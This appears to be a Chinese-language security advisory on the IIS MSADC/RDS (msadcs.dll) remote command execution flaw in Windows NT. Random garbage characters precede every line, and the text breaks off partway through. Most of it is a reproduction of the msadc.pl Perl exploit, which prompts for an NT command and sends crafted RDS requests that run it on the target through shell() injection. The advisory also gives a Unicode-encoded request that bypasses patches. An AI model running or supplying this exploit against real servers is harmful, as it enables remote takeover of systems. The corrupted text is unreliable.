IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
GWQ_X9+q B?-~f^*,jG 涉及程序:
a2z1/Nh Microsoft NT server
0zL7$Q#c q%RPAe 描述:
E&RiEhuv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1z#0CX}Y/H AzfYw'^&9 详细:
/IkSgKJiz\ 如果你没有时间读详细内容的话,就删除:
%. zcE@7* c:\Program Files\Common Files\System\Msadc\msadcs.dll
WX2w7O'R 有关的安全问题就没有了。
J[?7`6\M u`Sg' ro 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
z .xOT;t I1TzPe 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=`
%iv|>r0 关于利用ODBC远程漏洞的描述,请参看:
_F"o0K!u q3~RK[OCq http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {e3XmVAI ]t23qA@^2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
z1WF@Ej http://www.microsoft.com/security/bulletins/MS99-025faq.asp Hf
]w {|jrYU.k~ 这里不再论述。
4)IRm2G %"1*,g{ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
QIcg4\d%s 9T#JlV /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
EE^
N01<"\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
1l~(J:DT }'FNGn.~# C8J3^?7E #将下面这段保存为txt文件,然后: "perl -x 文件名"
}IRx$cKV hZudVBn #!perl
dWCU Z,6} #
)(Z)yz # MSADC/RDS 'usage' (aka exploit) script
7Lv5@ #
#hNp1y2 # by rain.forest.puppy
p{sbf;-x} #
W$l%= / # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
hlgBx~S[ # beta test and find errors!
|PI]v`[ ub#>kCL9 use Socket; use Getopt::Std;
il)LkZ@ getopts("e:vd:h:XR", \%args);
Je5UVf3>2& +yh-HYo` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E@f2hW2 ;M95A if (!defined $args{h} && !defined $args{R}) {
@eQo print qq~
w'Cn3b)` Usage: msadc.pl -h <host> { -d <delay> -X -v }
RCS91[ -h <host> = host you want to scan (ip or domain)
f a9n6uT -d <seconds> = delay between calls, default 1 second
cITF=Ez -X = dump Index Server path table, if available
H,?)6pZ -v = verbose
1VH$l(7IQ -e = external dictionary file for step 5
q*h1=H52 :=0XT`iY Or a -R will resume a command session
nhUL{ER ^J([w~& ~; exit;}
~(|~Ze> 2K8?S $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
1 o;*` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
c04"d"$ x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2Sq+w;/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\mBH6GS $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6]#\|lds1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
!A 6l\_ c1,dT2:= if (!defined $args{R}){ $ret = &has_msadc;
N1O& fMz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s`bC?wr5h V&'
:S{i print "Please type the NT commandline you want to run (cmd /c assumed):\n"
SSS)bv8m . "cmd /c ";
Fe4QWB6\U $in=<STDIN>; chomp $in;
>/kwy2 $command="cmd /c " . $in ;
7=o2$ 4/Vy@h"A3 if (defined $args{R}) {&load; exit;}
wR"4slY_% 4sVr]p` print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dwQ*OxFl &try_btcustmr;
&.\|w (,J`!Y hS print "\nStep 2: Trying to make our own DSN...";
aWLeyXsAu &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)>! IY Q 'm;M+:l
6 print "\nStep 3: Trying known DSNs...";
G isI/Ir[ &known_dsn;
/R_*u4}iD s1[_Pk;! print "\nStep 4: Trying known .mdbs...";
B>^5h?(lt &known_mdb;
+UK". )A`Zgg'L7D if (defined $args{e}){
]Tje6iF print "\nStep 5: Trying dictionary of DSN names...";
gAx8r-` ` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
) OqQz7' -*?Y4}mK print "Sorry Charley...maybe next time?\n";
I)$of9 exit;
)P{I<TBI; 5>XrNc91 ##############################################################################
&zCqF=/9U r "^{?0 sub sendraw { # ripped and modded from whisker
NZ\aK}?~! sleep($delay); # it's a DoS on the server! At least on mine...
F4m Q#YlrS my ($pstr)=@_;
8tc9H}> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FmALmS die("Socket problems\n");
,|: a7b] if(connect(S,pack "SnA4x8",2,80,$target)){
OFJ
T select(S); $|=1;
&M)S~Hb^ print $pstr; my @in=<S>;
"CEy r0h select(STDOUT); close(S);
bw@DcT&, return @in;
qM`XF32A$ } else { die("Can't connect...\n"); }}
_{EO9s2FG 5-277? ##############################################################################
s eFug 5(/ 5$u sub make_header { # make the HTTP request
+ *YGsM`E9 my $msadc=<<EOT
BO5gwvyI POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%j].'
; User-Agent: ACTIVEDATA
QK5y%bTSA Host: $ip
728}K^7: Content-Length: $clen
2$D
*~~ Connection: Keep-Alive
5G~; g e JMD8# ADCClientVersion:01.06
E)Z$7;N0x Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)e)@_0 K8dlECy --!ADM!ROX!YOUR!WORLD!
ZCQ7xQD Content-Type: application/x-varg
Jmb [d\ /D Content-Length: $reqlen
q%4l!gzF3 LE_1H> EOT
$*| :A ; $msadc=~s/\n/\r\n/g;
:<%q9)aPf` return $msadc;}
n2bL- mm3goIi;Y ##############################################################################
)Oq N\ {cF7h)j sub make_req { # make the RDS request
PmtBu`OkV my ($switch, $p1, $p2)=@_;
_tfZg /+) my $req=""; my $t1, $t2, $query, $dsn;
Fj9/@pe1 >'i
d/ if ($switch==1){ # this is the btcustmr.mdb query
`Z{kJMS $query="Select * from Customers where City=" . make_shell();
fhu-YYJt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
qO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
]P TTI\n >G2o elsif ($switch==2){ # this is general make table query
'3>kD H+ $query="create table AZZ (B int, C varchar(10))";
+#5nk,1c> $dsn="$p1";}
j+3~ ]JX0:'x^ elsif ($switch==3){ # this is general exploit table query
TEZ^Ia $query="select * from AZZ where C=" . make_shell();
o~
.[sn5l- $dsn="$p1";}
/Yk2 |L Kp*nOZ elsif ($switch==4){ # attempt to hork file info from index server
(o_fY. $query="select path from scope()";
>4a@rT/ $dsn="Provider=MSIDXS;";}
.>0e?A4,5? A>6b
6 elsif ($switch==5){ # bad query
N\<RQtDg $query="select";
[y
y D- $dsn="$p1";}
LxkToO{ XD`QU m $t1= make_unicode($query);
M/5e4b $t2= make_unicode($dsn);
Q? a&